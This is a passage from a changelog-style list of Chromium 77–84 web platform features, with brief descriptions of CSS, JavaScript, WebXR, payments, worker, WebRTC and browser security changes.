‘tab-size’ accepts an <code><integer></code> or a <code><number></code> as its value type, and represents the measure as a real-number multiple of the space character’s advance width, in addition to its integer multiple. <ol start="37"> <li>Card issuer networks as payment method names</li> </ol> Support for calling PaymentRequest with card issuer networks (e.g., “visa”, “amex”, “mastercard”) in the supportedMethods field. <ol start="38"> <li>WebXR Plane Detection API</li> </ol> The feature allows WebXR applications to retrieve data about planes (flat surfaces) present in the user’s environment. This enables AR applications to create a more immersive experiences through the obtained information. <h3>chromium78 Features:13</h3> <ol> <li>Rendering Independent Scroll Offsets</li> </ol> Stops certain methods from snapping values to physical pixels, specifically scrollTop(), scrollLeft(), scrollX(), scrollY(), scrollTo(), and so on. Currently, calling window.scrollTo(0, 123.678) will snap the scroll offset to the nearest physical pixel. On a device with devicePixelRatio equal to 2 this would be 123.5, which is what is returned after this change. <ol start="2"> <li>WebAssembly Type Reflection JS API</li> </ol> Expands the JavaScript API surface of WebAssembly to allow reflection on the data types of functions imported and exported from a WebAssembly module. <ol start="3"> <li>Apply opacity for the default style of INPUT/TEXTAREA placeholder</li> </ol> Changes the default style for ::placeholder from #757575 to rgba(0, 0, 0, 0.54). <ol start="4"> <li>CSS Properties and Values API Level 1 (Houdini)</li> </ol> The CSS Properties and Values API spec defines a registerProperty() function which can be called from JavaScript to register typed and animatable custom CSS properties. This API expands the existing CSS custom properties to improve usability of other Houdini APIs. Being able to animate these and customize inheritance and initial values makes it more useful for custom layout/paint, and having types associated with these allows the typed object mode to work more effectively with custom properties. <ol start="5"> <li>Disallow sync XHR in page dismissal</li> </ol> Chrome now disallows synchronous XHR during page dismissal when the page is being navigated away from or closed by the user. This involves the following events (when fired on the path of page dismissal): beforeunload, unload, pagehide, and visibilitychange. A temporary opt-out is available via Origin Trial “Allow Sync XHR In Page Dismissal”: https://developers.chrome.com/origintrials/#/trials/active <ol start="6"> <li>Extend byte-for-byte update check to all service worker importScripts() resources</li> </ol> This implements byte-for-byte update check for service worker scripts imported by importScripts(). <ol start="7"> <li>PaymentResponse.prototype.retry()</li> </ol> In cases where there is something wrong with the payment response’s data (e.g., you find out that the shipping address is a PO box), the retry() method of a PaymentResponse instance allows you to ask a user to retry a payment. <ol start="8"> <li>Percentage opacity</li> </ol> Adds support for percentage values to the opacity properties, specifically, opacity, stop-opacity, fill-opacity, stroke-opacity, and shape-image-threshold. For example, opacity: 50%; is equivalent to opacity: 0.5; https://drafts.csswg.org/css-color/#transparency <ol start="9"> <li>Redact address in PaymentRequest.onshippingaddresschange event</li> </ol> Removes fine-grained information from the shipping address before exposing it to the merchant website in ShippingAddressChange event. <ol start="10"> <li>Seeking for Media Session</li> </ol> Adds a media session action handler for “seekto”. An action handler is an event tied specifically to a common media function such as pause or play. The “seekto” action handler will be called when the site should move the playback time to a specific time. This also adds a MediaSessionActionDetails dictionary that will be passed when an action handler is called. Use this as a basis for passing additional data for “seekbackward”, “seekforward” and “seekto”. <ol start="11"> <li>User Timing L3</li> </ol> User Timing Level 3 extends the existing User Timing API to enable two new use cases: <ol> <li> Developers can pass custom timestamps to performance.measure() and performance.mark(), so as to conduct measurement across arbitrary timestamps. </li> <li> Developers can report arbitrary metadata with performance.mark() and performance.measure(), which provides rich data to analytics via a standardized API. </li> <li> Web Bluetooth getAvailability() </li> </ol> getAvailability() returns a promise that resolves with true if the user agent is running on a system that has a Bluetooth radio and false otherwise. The powered state of the Bluetooth radio does not influence the availability because applications can prompt users to turn on the radio using requestDevice(). The availabilitychanged event can be used to detect changes in the availability of the Bluetooth radio. <ol start="13"> <li>XSS Auditor</li> </ol> Remove the XSS Auditor from Chrome. <h3>chromium79 Features:17</h3> <ol> <li>Web Bluetooth Scanning</li> </ol> Enables Bluetooth Low Energy Scanning <ol start="2"> <li>WebXR Anchors</li> </ol> This API is an extension to the WebXR Device API that provides a way to indicate to the underlying XR system that a 3D pose is meant to be kept up to date. Tracked poses may be arbitrary or attached to real world geometry. In current AR systems, poses evolve over time as the system understands more of the real world that surrounds it. As the system’s understanding evolves, anchors enable the application to update poses of virtual objects so that they maintain their relationship to real world. <ol start="3"> <li>Autofocus support for any focusable HTML/SVG element</li> </ol> Adds the ‘autofocus’ attribute to any focusable HTML or SVG element. <ol start="4"> <li>CSS min(), max() and clamp()</li> </ol> Adds the comparison functions min(), max(), and clamp() to math expressions for numeric CSS values. <ol start="5"> <li>Compute img/video aspect ratio from width and height HTML attributes</li> </ol> Computes the aspect ratio of an image using the HTML width and height attributes so that it can be used for sizing an image using CSS before it loads. <ol start="6"> <li>Maskable App Icons (PWA - Android)</li> </ol> Allow Maskable (“Adaptive”) icons for installed WebAPKs on Android. <ol start="7"> <li>Out-Of-Renderer Cross-Origin Resource Sharing (aka OOR-CORS or OutOfBlinkCors)</li> </ol> Cross-Origin Resource Sharing (CORS) is an established web standard protocol to protect servers from unexpected cross-origin network accesses. Chrome implemented the CORS protocol in the rendering engine, Blink, running in a renderer process before this change. However, once the OOR-CORS feature is enabled, it inspects network accesses in the network service, running in a separate process. <ol start="8"> <li>Reject Worklet.addModule() with a more specific error</li> </ol> When Worklet.addModule() fails, a promise rejects with a more specific error object than it did previously. Worklet.addModule() can fail for various reasons, including, for example, network errors and syntax errors. Before this change, Worklet.addModule() rejected with AbortError regardless of the actual cause. That made it difficult for developers to debug worklets. After this change, Worklet.addModule() rejects with a clearer error such as SyntaxError. <ol start="9"> <li>Remove [NoInterfaceObject] from Geolocation API interfaces</li> </ol> The [NoInterfaceObject] annotation is being removed from WebIDL. The Geolocation API specification has been updated to remove this annotation from all interfaces and perform the following renames to avoid polluting the global namespace with generic interface names, Coordinates -> GeolocationCoordinates Position -> GeolocationPosition PositionError -> GeolocationPositionError <ol start="10"> <li>ServiceWorkerGlobalScope#serviceWorker to get a service worker object corresponding to a worker itself</li> </ol> This allows a service worker to get its ServiceWorker object with self.serviceWorker in a service worker script and its current state with self.serviceWorker.state in the script. <ol start="11"> <li>Stop evaluating script elements moved between Documents during fetching</li> </ol> Do not evaluate scripts or fire error/load events, if <code><script></code> elements are moved between Documents during fetching. Script elements can be still moved between Documents, but they won’t be executed. <ol start="12"> <li>WebXR Device API</li> </ol> Provides access to input and output capabilities commonly associated with Virtual Reality (VR). This API is intended to completely replace the WebVR API (https://www.chromestatus.com/feature/4532810371039232). It has been designed to address the issues found in the prior API based on developer, web platform, hardware manufacturer, and implementer feedback. <ol start="13"> <li>WebXR Gamepads Module - Level 1</li> </ol> The WebXR Gamepad Module defines how the Gamepad API integrates with WebXR to communicate the state of various physical inputs (such as buttons, touch pads, and triggers) of an XRInputSource. Previously the Gamepad API was used in conjunction with the deprecated WebVR API, and was adopted by WebXR with additional ergonomic improvements to support it’s input needs. It is being shipped as a module rather than part of the WebXR core API to allow it to evolve more flexibly. <ol start="14"> <li>font-optical-sizing</li> </ol> The font-optical-sizing property automatically sets the font-size to the opsz - optical sizing axis of variable fonts that support optical sizing. This improves styling and legibility of fonts depending on font size because the font chooses a glyph shape that works optimally at the given font size. For example, the glyph contrast is improved in fonts in heading sizes when compared to the same font at body text size. See the spec link for an illustration of optical sizing. <ol start="15"> <li>list-style-type: <code><string></code></li> </ol> Allows a stylesheets to use an arbitrary character for the list style marker. Examples include “-”, “+”, “★” and “▸”. Since CSS Level 2, list-style-type has supported keywords like “disc” or “decimal” to define the appearance of the list item marker. <ol start="16"> <li>aria-help</li> </ol> Remove the aria-help attribute. <ol start="17"> <li>-webkit-appearance keywords for arbitrary elements</li> </ol> Changes -webkit-appearance keywords to work only with specific element types. If a keyword is applied to a non-supported element, the element has the default appearance. <h3>chromium80 Features:35</h3> <ol> <li>Split HTTP auth cache by NetworkIsolationKey</li> </ol> This feature will partition the server entries in the cache using top frame origin (and also possibly the subframe origin) to prevent sites from using this cache to track users across sites. <ol start="2"> <li>“numberingSystem” option for Intl.NumberFormat / “calendar” and “numberingSystem” option for Intl.DateTimeFormat</li> </ol> Allows the calendar and numbering system to be specified in the options object of the DateTimeFormat() and NumberFormat() constructors. <ol start="3"> <li>AppCache: Resource override scope checking</li> </ol> Manifests previously allowed overriding any URL within a given origin. Scope checking is being introduced to ensure only URLs within a manifest’s scope can be overridden. The default manifest scope will be the path to the manifest’s enclosing directory. Sites that desire a manifest be given a broader scope can add a response header “X-AppCache-Allowed: /” to manifest responses to preserve the previous behavior. <ol start="4"> <li>Autoupgrade Audio/Video Mixed Content</li> </ol> This feature will autoupgrade optionally-blockable mixed content (HTTP content in HTTPS sites) by rewriting the URL to HTTPS, without a fallback to HTTP if the content is not available over HTTPS. In the first version (targeted for M80) only audio and video content will be upgraded. <ol start="5"> <li>Compression Streams</li> </ol> Provides a means of performing gzip and deflate compression from JavaScript using streams. This covers two interfaces: CompressionStream and DecompressionStream. <ol start="6"> <li>Contacts API</li> </ol> Provides a way for websites to request information about the user’s contact(s) and provides a UI for the user to share those details in a way that makes it clear what is being shared with the website. This could be used for bootstrapping a friends list on a social network or (in an email/messaging application) to select message recipients. <ol start="7"> <li>DOMMatrix setTransform/getTransform on OffscreenCanvas</li> </ol> Adds setTransform(DOMMatrix2DInit) and getTransform() to OffscreenCanvasRenderingContext2D. <ol start="8"> <li>Don’t allow popups during page unload</li> </ol> Pages may no longer use the window.open() API to open a new page during its unload. The popup blocker already prohibits this, but now it is prohibited whether or not the popup blocker is enabled. Enterprises used to be able to use the AllowPopupsDuringPageUnload policy flag to allow popups during unload. We removed this flag in Chrome 88. <ol start="9"> <li>ES Modules for dedicated workers (‘module’ type option)</li> </ol> JavaScript will support modules in dedicated workers. Using a new value for the constructor’s type attribute, worker scripts are loaded as ES modules and the import statement is available on worker contexts. With this feature, web developers can more easily write programs in a composable way and share them among a page and workers. <ol start="10"> <li>Fetch Metadata Destination header</li> </ol> The <code>Sec-Fetch-Dest</code> HTTP request header exposes information about a request’s <code>destination</code> to servers, which allows them to make better-informed decisions about the implications of serving a given response. https://w3c.github.io/webappsec-fetch-metadata/#intro lays out the motivation. <ol start="11"> <li>HTMLVideoElement.getVideoPlaybackQuality()</li> </ol> This simple API tells sites how a video playback is performing. When performance is poor, sites may use the information to reduce the video bitrate / framerate / resolution for a better user experience. <ol start="12"> <li>JavaScript optional chaining</li> </ol> Provides safe access to descendent object members with parents that may or may not be null. This applies to objects as well as functions. For example, consider an object reference with three levels such as a.b.c. Testing for the existence of c would previously require nesting said test inside a test for b. This change allows you to test for c directly without an error being thrown when b is null. <ol start="13"> <li>Media Capabilities: decoding encrypted media</li> </ol> Adds encrypted media support from the Decoding Information API. Chrome 66 introduced this API (https://www.chromestatus.com/feature/5869632707624960) to answer the question can this device decode this media? The API additionally notes whether the decoding will be smooth (performant) and/or power efficient. This new feature allows authors to ask the same question for encrypted media. <ol start="14"> <li>New System Color Keywords</li> </ol> Give users the ability to customize their sites with the relevant system colors when in forced colors mode. The keywords being added are ActiveText, Field, and FieldText. ActiveText is for active links. Field is for input field backgrounds. FieldText is for input field text. <ol start="15"> <li>Nullish coalescing</li> </ol> Adds support for the ‘nullish’ operator to JS. <ol start="16"> <li>Periodic Background Sync</li> </ol> Periodic Background Sync is an extension of Background Sync that allows websites to register tasks to be run in a service worker at periodic intervals with network connectivity. <ol start="17"> <li>RTCPeerConnection.setLocalDescription() that implicitly creates the offer or answer</li> </ol> Makes the RTCSessionDescription argument optional for setLocalDescription(). Previously, it required a value returned by createOffer() or createAnswer(). With this change Chromium generates the the offer or answer implicitly when no argument is provided. This avoids possible edge-case races. <ol start="18"> <li>RTCPeerConnection.setRemoteDescription() with “rollback”</li> </ol> Adds rollback, which is a way to cancel an on-going negotiation. This is needed if two WebRTC endpoints attempt to send an offer at the same time. In this case, one of the endpoints has to cancel its local offer by rolling back so that it can accept the incoming offer. This lets it complete the remote negotiation then create a follow-up offer after it becomes stable. Without it, negotiation cannot complete. <ol start="19"> <li>Remove ‘no-preference’ from prefers-color-scheme @media feature</li> </ol> The prefers-color-scheme feature in Media Queries Level 5 supported three values: ‘no-preference’, ‘light’, ‘dark’. Remove the support for the ‘no-preference’ value because it has been removed from the specification. <ol start="20"> <li>Scroll to Text Fragment</li> </ol> This feature allows a user or author to link to a specific portion of a page, using a text snippet provided in the URL. When the page is loaded, the browser highlights the text and scrolls it into view. For example, the URL: [https://en.wikipedia.org/wiki/Cat#:~:text=On%20islands,%20birds%20can%20contribute%20as%20much%20as%2060%%20of%20a%20cat%27s%20diet] This loads the page for Cat, highlights the specified text, and scrolls directly to it. <ol start="21"> <li>ServiceWorkerContainer.onmessageerror</li> </ol> Notifies the receiver when a posted message could not be decoded. This is similar to https://www.chromestatus.com/features/5729005244252160 but applies to ServiceWorkerContainer. <ol start="22"> <li>Support for SVG in favicons</li> </ol> Allows using images in SVG format as favicons with <code><link rel="icon"></code>. <ol start="23"> <li>WebAssembly Multi-Value</li> </ol> Add support for WebAssembly functions and blocks that return more than one value. <ol start="24"> <li>[Payments] shipping address and contact info delegation</li> </ol> Changes the Payment Handler API, to let the browser delegate handling of shipping address and payer’s contact information to Payment Handlers. <ol start="25"> <li>line-break: anywhere</li> </ol> The ‘line-break: anywhere’ declaration allows soft wrapping around every typographic character unit, including around any punctuation character or preserved spaces, or in the middles of words. It disregards any prohibition against line breaks, even those introduced by characters with the GL, WJ, or ZWJ character class (see UAX 14) or mandated by the word-break property. <ol start="26"> <li>overflow-wrap: anywhere</li> </ol> The new value ‘anywhere’ allows an otherwise unbreakable sequence of characters to be broken at an arbitrary point if there are no otherwise-acceptable break points in a line. Additionally, soft wrap opportunities introduced by ‘anywhere’ are considered when calculating min-content intrinsic sizes. <ol start="27"> <li>WebVR v1.1</li> </ol> Added support for virtual reality head mounted displays, such as the Oculus Rift and Google Cardboard. This API being replaced by the WebXR Device API (https://www.chromestatus.com/feature/5680169905815552), which is expected to ship in Chrome 79. The WebVR Origin Trial ended on July 24, 2018. Removal is expected in Chrome 80. <ol start="28"> <li>-webkit-appearance:button for arbitrary elements</li> </ol> Changes -webkit-appearance:button to work only with <code><button></code> and <code><input></code> buttons. If ‘button’ is specified for an unsupported element, the element has the default appearance. This is a follow-up of https://chromestatus.com/feature/5070237827334144 <ol start="29"> <li>Custom Elements V0</li> </ol> Custom Elements v0 is deprecated at M70, and will be removed in M80, by February, 2020. Please see this post for more information: https://developers.google.com/web/updates/2019/07/web-components-time-to-upgrade For the original Intent to Deprecate: https://groups.google.com/a/chromium.org/d/msg/blink-dev/h-JwMiPUnuU/sl79aLoLBQAJ Custom Elements v0 was an experimental technology, never implemented in any other browser. The spec is superseded by Custom Elements v1, which is widely supported. <ol start="30"> <li>HTML Imports</li> </ol> HTML Imports are deprecated at M70, and will be removed in M80, by February, 2020. Please see this post for more information: https://developers.google.com/web/updates/2019/07/web-components-time-to-upgrade For the original Intent to Deprecate: https://groups.google.com/a/chromium.org/d/msg/blink-dev/h-JwMiPUnuU/sl79aLoLBQAJ HTML Imports was an experimental technology, never implemented in any other browser. The spec is superseded by ES modules, which is widely supported. <ol start="31"> <li>Non-origin-clean ImageBitmap serialization and transferring</li> </ol> This change raises errors when a script tries to serialize or transfer a non-origin-clean ImageBitmap. A non-origin-clean ImageBitmap is one that contains data from cross cross-origin images that is not verified by CORS logic. <ol start="32"> <li>Shadow DOM v0</li> </ol> Shadow DOM v0 is deprecated at M70, and removed in M80. All code has been deleted as of M89. Intent to Deprecate: https://groups.google.com/a/chromium.org/d/msg/blink-dev/h-JwMiPUnuU/sl79aLoLBQAJ Shadow DOM v0 was an experimental technology, never implemented in any other browser. The spec is superseded by Shadow DOM v1, which is widely supported. Note that the /deep/ combinator, which was changed to a no-op in M63, has been completely removed in M89. <ol start="33"> <li>registerProtocolHandler from non-secure contexts</li> </ol> HTML’s registerProtocolHandler() gives a webpage a mechanism to register itself to handle a protocol after a user consents. For example, a web-based email application could register to handle the mailto: scheme. A corresponding unregisterProtocolHandler() API allows a site to abandon its protocol-handling registration. <ol start="34"> <li>CacheStorage Code Cache Hint</li> </ol> This experiment will allow participating sites to provide hints to cache_storage that full code cache should not be generated in a service worker install event. The hint will be communicated as a header on the Response being stored. This is a change to an unspecified optimization in chrome. Full code cache generation during the install event was added in M64. It is only observable indirectly through changes in timing and disk quota usage. <ol start="35"> <li>Contacts API Addresses/Icons</li> </ol> Extends the Contacts API (https://www.chromestatus.com/feature/6511327140904960) to support requesting addresses/icons as well. <h3>chromium81 Features:27</h3> <ol> <li>‘submitter’ property of ‘submit’ event</li> </ol> The ‘submit’ event, which is dispatched on form submission, gets its own interface, SubmitEvent, which has a ‘submitter’ property. <ol start="2"> <li>-webkit-margin-*-collapse</li> </ol> Adds properties controlling margin collapsing: -webkit-margin-top-collapse, -webkit-margin-before-collapse, -webkit-margin-before-collapse, and -webkit-margin-after-collapse. These properties have two values: “separate”: disables margin collapsing by “separating the margins”, e.g. https://www.software.hixie.ch/utilities/js/live-dom-viewer/?saved=7507 (its a lot more complex than this example) “discard”: ignores all margins: https://www.software.hixie.ch/utilities/js/live-dom-viewer/? <ol start="3"> <li>Badging API</li> </ol> Allows web apps (as defined by the Web App Manifest standard) to set an app-wide badge in operating-system-specific places such as the shelf or home screen. Additionally, it gives the app a small, visible place to notify the user of new activity that might require attention, without showing a full notification. It can show additional information, such as an unread count or event type. It allows the app to convey this information when its windows are closed. <ol start="4"> <li>Buffered flag for long tasks</li> </ol> This feature tracks https://www.chromestatus.com/feature/5118272741572608 for the case of PerformanceLongTask entries <ol start="5"> <li>CSS Color Adjust: color-scheme meta tag</li> </ol> Many operating systems now have a “dark mode” preference. Some browsers already offer an option to transform webpages into a dark theme. The prefers-color-scheme media query is a way for an author to support their own dark theme, so they have full control over their own experience. The meta tag is needed so that a site can explicitly opt-in and say that they fully support a dark theme and that the browser should load a different UA sheet and not ever apply transformations. <ol start="6"> <li>CSS Color Adjust: color-scheme property</li> </ol> Let the author opt-in to follow the preferred color scheme when rendering UI elements such as default colors of form controls and scrollbars as well as the used values of the CSS system colors. <ol start="7"> <li>Default accessibility semantics for custom elements</li> </ol> Lets custom element authors use ElementInternals to set a custom element’s default accessibility role, states, and properties, much like the default accessibility semantics for native elements. <ol start="8"> <li>EME: Query supported encryption schemes</li> </ol> A new method will allow applications to query whether a specific encryption scheme is supported by Encrypted Media Extensions (EME). <ol start="9"> <li>IntersectionObserver Document Root</li> </ol> Allow the IntersectionObserver constructor to take a Document as the ‘root’ argument, causing intersections to be calculated against the scrolling viewport of the document. <ol start="10"> <li>Intl.DisplayNames</li> </ol> Provides a new API to get localized names of language, region, script, currency codes of international standard as well as commonly used names of date fields and symbols. <ol start="11"> <li>Move onwebkit{animation,transition}XX handlers to GlobalEventHandlers</li> </ol> Currently, the prefixed onwebkit{animation,transition}XX handlers are only available on the Window object in Chrome. By the spec0, these should be on GlobalEventHandlers1 - i.e. available on HTMLElement, Document, and Window. Note that although standardized, these event handlers are still obsolete - web developers should use the non-prefixed versions instead! <ol start="12"> <li>Periodic prioritization of rendering on the renderer’s main thread</li> </ol> Previously, the rendering tasks (i.e. BeginMainFrame) were always run at default priority on the main thread. This means that rendering could be starved by other normal priority work, for example tons of postMessages (crbug.com/943621). This feature is an internal scheduling change which prevents this from happening by periodically increasing the priority of rendering if we have not rendered in a while. It targets a lower frame-rate of 10 fps. <ol start="13"> <li>PointerLock unadjustedMovement</li> </ol> Adds the ability to request unadjusted/unaccelerated mouse movement data when in PointerLock. If this unadjustedMovement is set to true, then the pointer movements will not be affected by the underlying platform modifications such as mouse acceleration. <ol start="14"> <li>Position State for Media Session</li> </ol> Adds support for tracking position state in a media session. The position state is a combination of the playback rate, duration and current playback time. This can then be used by browsers to display position in the UI and with the addition of seeking can support seeking/scrubbing too. By default, the position state is taken from the media element. However, this does not work in all cases and therefore this provides a setPositionState() method to the site to specify a custom position state. <ol start="15"> <li>RTCPeerConnection.onicecandidateerror event changes</li> </ol> Replaces hostCandidate with explicit address and port for oncecandidateerror event according to the latest WebRTC 1.0 spec - https://github.com/w3c/webrtc-pc/pull/2322/ <ol start="16"> <li>Streams API: WritableStream close()</li> </ol> Add a close() method to WritableStream objects. This permits closing the stream if it is unlocked. It is directly equivalent to getting a writer, using the writer to close the stream, and then unlocking it again. <ol start="17"> <li>Support for CSS image-orientation property</li> </ol> Enable the CSS image-orientation feature, currently hidden behind a flag. Change the default value to from-image, and apply the property to all images, both content and style. In practice this means that the exif orientation, when present in an image, will be used to orient the image unless the “image-orientation: none” CSS property is present. <ol start="18"> <li>WebAudio: ConvolverNode.channelCount and channelCountMode</li> </ol> For a ConvolverNode, the channelCount can now be set to 1 or 2. The channelCountMode can be “explicit” or “clamped-max”. Previously, a channelCount of 1 was not allowed and neither was a mode of “explicit”. <ol start="19"> <li>WebAudio: Refine BiquadFilterNode AudioParam limits</li> </ol> The WebAudio spec has updated the limits for the frequency, detune, and gain AudioParam attributes for a BiquadFilterNode. Previously these allowed any floating-point value. <ol start="20"> <li>WebXR AR Module</li> </ol> WebXR AR Module brings Augmented Reality support to WebXR Device API. <ol start="21"> <li>WebXR Hit-test</li> </ol> The Hit-test API is an extension to the WebXR Device API that provides the capability of raycasting into the real world as understood by the underlying XR system. The goal is to provide a simple API that allows apps to place objects in the real world by casting rays that can be evaluated against the underlying platform’s understanding of the real world geometry, regardless of how that is implemented (e.g., hit test against detected planes, point clouds, meshes, etc.). <ol start="22"> <li>WorkerOptions for shared workers constructor</li> </ol> Adds the WorkerOptions object as the second argument for a shared worker constructor. The previous second argument, a DOMString containing the worker’s name is still supported. <ol start="23"> <li>hrefTranslate attribute</li> </ol> This attribute defines the ability to for a page author to hint to the user agent’s translation engine that an href should be translated if followed. <ol start="24"> <li>onclosing event on RTCDataChannel</li> </ol> Adds the onclosing event, which signals to the user of a data channel that the other side has started closing the channel; the browser user agent will continue reading from the queue (if it contains anything), but no more data can be sent. <ol start="25"> <li>Remove supportedType field from BasicCardRequest</li> </ol> Specifying “supportedTypes”:[type] parameter for “basic-card” payment method shows cards of only the requested type, which is one of “credit”, “debit”, or “prepaid”. <ol start="26"> <li>Remove the <code><discard></code> element</li> </ol> The <code><discard></code> element is part of the SVG Animations (draft) specification. It provides a way to declaratively remove elements at a specific point in time and be a mechanism for streaming animations. <ol start="27"> <li>TLS 1.3 downgrade hardening bypass</li> </ol> TLS 1.3 includes a backwards-compatible hardening measure to strengthen downgrade protections. However, when we shipped TLS 1.3 last year, we had to partially disable this measure due to incompatibilities with some non-compliant TLS-terminating proxies. Chrome currently implements the hardening measure for certificates which chain up to known roots, but allows a bypass for certificates chaining up to unknown roots. We intend to enable it for all connections. <h3>chromium82 Features:0</h3> <h3>chromium83 Features:20</h3> <ol> <li>Replaceable animations</li> </ol> When a fill forward animation finishes, it remains in effect. If enough of these animations build up, they can negatively impact performance and leak memory. There are 3 main parts to this feature: <ol> <li>Automatically remove animations that no longer contribute to the effect stack and fire remove events.</li> <li>Animation.persist() to force an animation to remain that would otherwise be removed.</li> <li>Animation.commitStyle() to inject an inline style based on the current property values.</li> </ol> <ol start="2"> <li>‘auto’ keyword for ‘-webkit-appearance’ CSS property</li> </ol> ‘-webkit-appearance’ CSS property will have new ‘auto’ keyword, which indicates the default appearance of the target element. <ol start="3"> <li>‘font-display: optional’ without relayout</li> </ol> Tweak web font loading, so that: <ul> <li> Web fonts with ‘font-display: optional’ never cause relayout </li> <li> Web font preloading is allowed to slightly block rendering (for all font-display values), so that if the font loads fast enough, we don’t need to render with fallback. </li> </ul> Therefore, when ‘font-display: optional’ and preloading are used together, we’ll never see layout shifting from font swapping, and still have a good chance to use the font if it loads fast enough (e.g., from disk cache). <ol start="4"> <li>@supports selector() feature query function</li> </ol> Adds a function that queries whether a user agent supports a selector. <ol start="5"> <li>ARIA Annotations from ARIA 1.3 draft</li> </ol> Support the new markup in the ARIA annotations editor’s draft (3 new roles, 1 new property): suggestion, mark, comment, aria-description This feature enables new semantics: <ul> <li>Comments</li> <li>Text highlights with semantic meaning, just like <code></code></li> <li>Suggestions for changes, e.g. by another author in a Google Doc</li> <li>Additional related information to be semantically tied to an element, allowing descriptions, definitions, footnotes and comments to be tied to another element.</li> </ul> <ol start="6"> <li>Barcode Detection API</li> </ol> The Barcode Detection API is a subset of the Shape Detection API which provides the ability to detect and decode barcodes in an image provided by script. The image may come from any type of image buffer source such as an <code><image></code>, <code><video></code> or <code><canvas></code> tag. Some native platforms include built-in libraries for performing text detection and optical character recognition (OCR) in images. The availability of these libraries means that developers do not need to include a large third party library. <ol start="7"> <li>CSS contain-intrinsic-size</li> </ol> The contain-intrinsic-size property allows developers to specify a placeholder size which would be used while contain: size is applied. With contain-intrinsic-size specified, elements lay out as if they had a single child with fixed size (specified by contain-intrinsic-size) unless they have an explicit width/height. This is helpful when size containment may be dynamically added/removed so that there is a fallback size during size containment but a content-based size during regular sizing. <ol start="8"> <li>Cross-Origin-Embedder-Policy</li> </ol> Add a new HTTP header that prevents documents and workers from loading non-same-origin requests unless explicitly allowed via CORS or CORP. Combined with Cross-Origin-Opener-Policy (COOP), this feature allows documents (and workers) to use powerful APIs such as SharedArrayBuffer. <ol start="9"> <li>Cross-Origin-Opener-Policy</li> </ol> The Cross-Origin-Opener-Policy response header provides a way for a document to request a new browsing context group to better isolate itself from other untrustworthy origins. Optionally, browsers can also choose to place top-level documents in a different process from documents without a matching Cross-Origin-Opener-Policy. <ol start="10"> <li>ES Modules for shared workers (‘module’ type option)</li> </ol> JavaScript will support modules in shared workers. Setting ‘module’ type by the constructor’s type attribute, worker scripts are loaded as ES modules and the import statement is available on worker contexts. <ol start="11"> <li>HTMLVideoElement.requestVideoFrameCallback()</li> </ol> HTMLVideoElement.requestVideoFrameCallback() registers a one-shot callback, called when a video frame has been presented for composition. It also provides useful metadata about that frame. <ol start="12"> <li>IndexedDB relaxed durability transactions</li> </ol> Exposes an optional relaxedDurability parameter on IDBDatabase.transaction to control flushing to disk. <ol start="13"> <li>RTCRtpEncodingParameters.maxFramerate</li> </ol> This encoding parameter allows developers to limit the framerate on a video layer before sending. <ol start="14"> <li>RTCRtpSendParameters.degradationPreference</li> </ol> When encoding video, and some constraint (bandwidth, CPU) prevents encoding at the configured framerate and resolution, the encoder must make a choice on how to modify the encoding parameters. An attribute is defined for RTCRtpSendParameters that allows this to be explicitly indicated for an RTCRtpSender. <ol start="15"> <li>Reversed range for <code><input type=time></code></li> </ol> According to the HTML spec, <code><input type=time></code>, which allows users to input time in hours, minutes, and seconds, should support reversed ranges because it has a defined maximum of “23:59:59”. A reversed range is when the input has a min and max attribute where the max is less than the min, and in this state, the input should allow values which are less than the min or greater than the max, but not in between them. This has been in the spec for many years but has not been implemented until now. <ol start="16"> <li>Support “JIS-B5” and “JIS-B4” @page</li> </ol> The CSS Paged Media Module Level 3 spec includes a list of page size names that may be used in the “size” property of the @page rule. Among these are two names for Japanese Industrial Standard page sizes which are currently not being recognized by Chrome: “JIS-B5” refers to JIS B5 size (182mm wide by 257mm high) “JIS-B4” refers to JIS B4 size (257mm wide by 364mm high) This feature completes the implementation of this section of the standard by adding support for these two page size. <ol start="17"> <li>Trusted Types for DOM Manipulation</li> </ol> ‘Trusted Types’ offers an (optional) mechanism for web sites to protect themselves against XSS (cross-site scripting) attacks.It limits the attack surface from potentially the entire code base to a handful of “policies” that a developer can implement and install, and whose usage the browser will then enforce. “Trusted types” then ensure that all risk-ful parts of the DOM can only be used by data that has gone through such a developer-supplied policy. Release is expected in Chrome 83. <ol start="18"> <li>WebXR DOM Overlay</li> </ol> Allows WebXR applications using immersive-ar on handheld devices to optionally activate a DOM overlay mode where the 2D page content is shown as an interactive transparent layer on top of the application-drawn WebGL content and camera image. While the current implementation is limited to ARCore-based handheld devices, the specification is intended to also support implementation on AR headsets. <ol start="19"> <li>display:inline-grid/grid/inline-flex/flex for <code><button></code></li> </ol> The ‘display’ keywords ‘inline-grid’, ‘grid’, ‘inline-flex’, and ‘flex’ property will now function with <code><button></code> when align item is applied. <ol start="20"> <li>Download in Sandboxed Iframes</li> </ol> Sandboxed iframe can initiate or instantiate downloads. Chrome is planning on removing this capability - i.e. Chrome is going to block all downloads initiated from or instantiated in a sandboxed iframe by default. The embedder may add “allow-downloads” to the sandbox attributes list to opt in. This allows content providers to restrict malicious or abusive downloads. <h3>chromium84 Features:18</h3> <ol> <li>Content Indexing API</li> </ol> Allows websites to register offline enabled content in the browser. This allows the browser to improve the offline experience and allow content browsing when the user is offline. This data could also be used to improve on-device search and to augment browsing history. <ol start="2"> <li>Gutters in flexbox: row-gap and column-gap properties</li> </ol> This css property allows you to specify spacing between flex items and/or flex lines. <ol start="3"> <li>JavaScript weak references</li> </ol> Weak references enable JavaScript developers to create weak references to JavaScript objects. Weak references and finalizers help web developers define cleanup routines that don’t keep the related objects alive but are (optionally) executed after the related object is garbage-collected. <ol start="4"> <li>Layout Instability Shifted Element Surfacing</li> </ol> Extends the layout instability API with information about specific DOM element(s) that experienced a shift. <ol start="5"> <li>Private methods and accessors</li> </ol> Keeping state and behavior private to a class lets library authors present a clear, stable interface, while changing their code over time behind the scenes. The class fields proposal provides private fields for classes and instances, and this proposal builds on that by adding private methods and accessors (getter/setters) to JavaScript. With this proposal, any class element can be private. <ol start="6"> <li>ReportingObserver on workers</li> </ol> Expose ReportingObserver (https://www.chromestatus.com/feature/4691191559880704) to workers. This has already been specified, but it was exposed only to Window because we didn’t need it on workers. As we are introducing new reports reported to workers we need to expose it to Worker too. <ol start="7"> <li>Resize Observer Updates</li> </ol> ResizeObserver is a an existing DOM observer API intended to be used for observing the size of DOM elements. There have been three updates to the spec: <ul> <li>A new ResizeObserverSize type was added</li> <li>New properties on ResizeObserverEntry, specifically contentBoxSize, borderBoxSize, and devicePixelContentBoxSize</li> <li>Exposure of new properties as sequences</li> </ul> <ol start="8"> <li>Screen Wake Lock API</li> </ol> An API that 